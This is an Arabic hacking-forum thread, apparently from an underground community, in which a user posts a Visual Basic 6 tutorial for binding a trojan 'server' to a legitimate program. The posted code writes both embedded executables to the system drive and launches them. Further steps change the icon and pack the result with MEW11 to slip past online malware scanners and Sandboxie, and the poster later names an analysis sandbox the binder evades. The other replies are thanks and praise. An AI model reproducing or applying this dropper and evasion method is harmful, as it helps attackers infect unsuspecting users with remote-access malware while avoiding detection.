دمج و تغيير الأيقونة و تخطي بعض موآقع الفحص فقط بالـ [Visual Basic6]

[Antivirus7]

كيف حآلكم إخوآني الكرآم أعضآء شبكة العنآكب الإحترآفية

بخير إن شآء الله smilies10


اليوم معنآ شرح جديد و يتضمن هذآ الشرح

دمج سيرفر مع برنآمج + تخطي بعض موآقع الفحص + تخطي Sandboxie

الطريقة تعتمد على الفجوآل بسيك6

المهم كالعآدة عملت لكم شرح فيديوا + بالصور

تحميل الفيديو مع الأكوآد و البرنآمج المسآعد



و الأن الشرح المصور

نفتح مشروع جديد و نضيف في الفورم هذه الأكوآد

كود:

Private Sub Form_Load()
Dim File1() As Byte, File2() As Byte

File1 = LoadResData(101, "CUSTOM")
File2 = LoadResData(102, "CUSTOM")

Open Environ$("homedrive") & "\File1.exe" For Binary As #1
Put #1, , File1
Close #1
Open Environ$("homedrive") & "\File2.exe" For Binary As #1
Put #1, , File2
Close #1

Call Sh ell(Environ$("homedrive") & "\File1.exe", vbNormalFocus)
Call Sh ell(Environ$("homedrive") & "\File2.exe", vbNormalFocus)

End
End Sub

إحذف الفرآغ الموجود في كلمة Sh ell

كمآ موضح في الصورة

و الأن نضيف أدآة Resource Editor

و الأن نضيف البرنآمج ثم السيرفر

ثم نحفظ الروسورس

أمآ بالنسبة للأيقونة تغير أيقون الفروم عآدي

و في الأخير نعمل تكوين للمشروع

ثم نفتحه بوآسطة برنآمج MEW11

و في الأخير تكون حصل على برنآمج مدموج + يتخطى بعض موآقع الفحص

أرجوآ أن يكون الشرح مفهوم

أي إستفسآر أنآ في الخدمة

بالتوفيق للجميع

​

​

 

[Cyber Code]

WoW wOw ابداع حبيبي

يبقى سؤال شو المواقع الي بيتخطاها في الضبت ؟ ..

وبارك الله فيك وفينا وفي كل المسلمين

دمت في ود وحفظ الرحمن ورعايته

في امان الله

 

[Antivirus7]

WoW wOw ابداع حبيبي

يبقى سؤال شو المواقع الي بيتخطاها في الضبت ؟ ..

وبارك الله فيك وفينا وفي كل المسلمين

دمت في ود وحفظ الرحمن ورعايته

في امان الله

نورت الموضوع حبيبي

من أهم الموآقع التي تتخطآهآ anubis.iseclab smilies11

من أشهر الموآقع smilies17
​

 

[ToRn4Do]

ابداع منقطع النظير
ما شاء الله
بارك الله فيك اخي انتي فايروس
على هذا الشرح الوافي
تحياتي لك

 

[Antivirus7]

الله يبارك فيك حبيبي

نورت الموضوع

 

[M0H4M3D]

موضوووع كثييير حلوو
والله انك بطل المنتدى

 

[NOT found]

شكرا على المجهود